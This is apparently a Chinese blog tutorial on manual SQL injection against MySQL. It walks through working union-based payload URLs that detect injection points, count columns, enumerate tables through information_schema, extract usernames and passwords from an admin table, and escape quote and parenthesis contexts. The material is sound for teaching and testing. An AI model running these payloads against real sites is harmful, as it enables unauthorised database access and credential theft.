一、SQL注入的本质

注入攻击的本质,是把用户输入的数据当做代码执行。

SQL:结构化查询语言,即操作数据库的代码
注入:把用户输入的数据当做代码执行

SQL注入的条件:
第一个是用户能够控制输入。
第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行

SQL注入的应用场景:
任何和数据库交互的传参(任何传参点)

想要了解更详细一点,可以看一下这篇博客:SQl注入与正则表达式

二、显错注入

1、判断是否存在注入点

http://59.1.1.1/?id=1
#?代表GET传参,传参值为1
1#当1=1正确而1=2错误时,有可能存在SQL注入
http://59.1.1.1/?id=1 and 1=1
http://59.1.1.1/?id=1 and 1=2

#and 1=1 and 1=2被拦截的几率太高了,可以尝试其它
http://59.1.1.1/?id=1 and -1=-1
http://59.1.1.1/?id=1 and -1=-2
2#URL后面加',看是否报错
http://59.1.1.1/?id=1'
3)加减乘除
#注意URL栏经过URL编码,会把空格编码为+,+会被理解为空格,如果要使用+,需要进行编码,即%2b
http://59.1.1.1/?id=1%2b1
http://59.1.1.1/?id=2-1
http://59.1.1.1/?id=1*1
http://59.1.1.1/?id=2/2

#也可以使用比较运算符
http://59.1.1.1/?id=1 and 1>0

#使用or也可以
http://59.1.1.1/?id=1 or 1=1 
3)其它方法
#如果延时,则存在SQL注入
http://59.1.1.1/?id=1 and sleep(5)

2、判断当前页面字段总数

不断猜测字段数,例如输出结果只有两个字段,但以第三个字段排序,就会报错

#以默认的第一个字段排序
http://59.1.1.1/?id=1 and 1=1 order by 1
#以默认的第二个字段排序
http://59.1.1.1/?id=1 and 1=1 order by 2
#以默认的第三个字段排序
http://59.1.1.1/?id=1 and 1=1 order by 3

3、联合查询寻找输出点

判断显示位:页面一般不会输出所有的查询数据,而是会选择性的输出,此时就需要寻找输出点

联合查询:将两条SQL语句一齐输出,同时输出结果必须有相同的字段数
union:不输出重复值
union all:输出重复值

#猜测字段数为2
#and 1=2 是为了使第一条查询语句失效
http://59.1.1.1/?id=1 and 1=2 union select 1,2
#可以输出字符串
http://59.1.1.1/?id=1 and 1=2 union select '1','2'

#令id=1.111类似的异常数据
http://59.1.1.1/?id=1.111 union select 1,2

4、查看当前数据库

#查看当前数据库名
http://59.1.1.1/?id=1 and 1=2 union select 1,database()

5、通过系统自带库查询数据
Mysql在5.0以上版本加入了 information_schema 系统自带库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。

一般不会删除系统自带库,也不会更改名字,因为有可能导致系统运行错误。

#information_schema.tables 实际上是选中information_schema库中的tables表

information_schema.tables #存放表名和库名的对应         
information_schema.columns 存放字段名和表名的对应
#查询表名
#table_schema字段包含了数据库名
#database()表示当前数据库
#limit 0,1 从第一条数据开始,输出一条数据,即取第一条数据
#limit 1,1 从第二条数据开始,输出一条数据

http://59.1.1.1/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
#查询列名
#找到表名之后,不断查询表中的字段名
#假设表名为admin

http://59.1.1.1/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name='admin' and table_schema=database() limit 0,1
#查询字段内容
#假设admin表有ID、username、password三个字段

http://59.1.1.1/?id=1 and 1=2 union select 1,username from admin limit 0,1

http://59.1.1.1/?id=1 and 1=2 union select 1,password from admin limit 0,1

可以使用集成输出,但是需要注意的是,页面可能允许输出的数据很少,有可能会遗漏数据。

GROUP_CONCAT #将多行数据进行整合在一行输出

三、闭合

跳出单引号、双引号

#无需闭合
select * from user where id=1
#http://59.1.1.1/?id=1
select * from user where id='1'

#http://59.1.1.1/?id=1' union select 1,2,3 -- qwe
select *from user where id='1' union select 1,2,3 -- qwe'
#http://59.1.1.1/?id=1
select *from user where id=('1')

#http://59.1.1.1/?id=1') union select 1,2,3 -- qwe
select *from user where id=('1') union select 1,2,3 -- qwe')
#http://59.1.1.1/?id=1
select *from user where id=("1")

#http://59.1.1.1/?id=1") union select 1,2,3 -- qwe
select *from user where id=("1") union select 1,2,3 -- qwe")

四、总结

1、判断SQL注入
2、SQL注入的流程(猜字段数,寻找回显点,从系统自带库查询表名、字段名、获取数据)

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐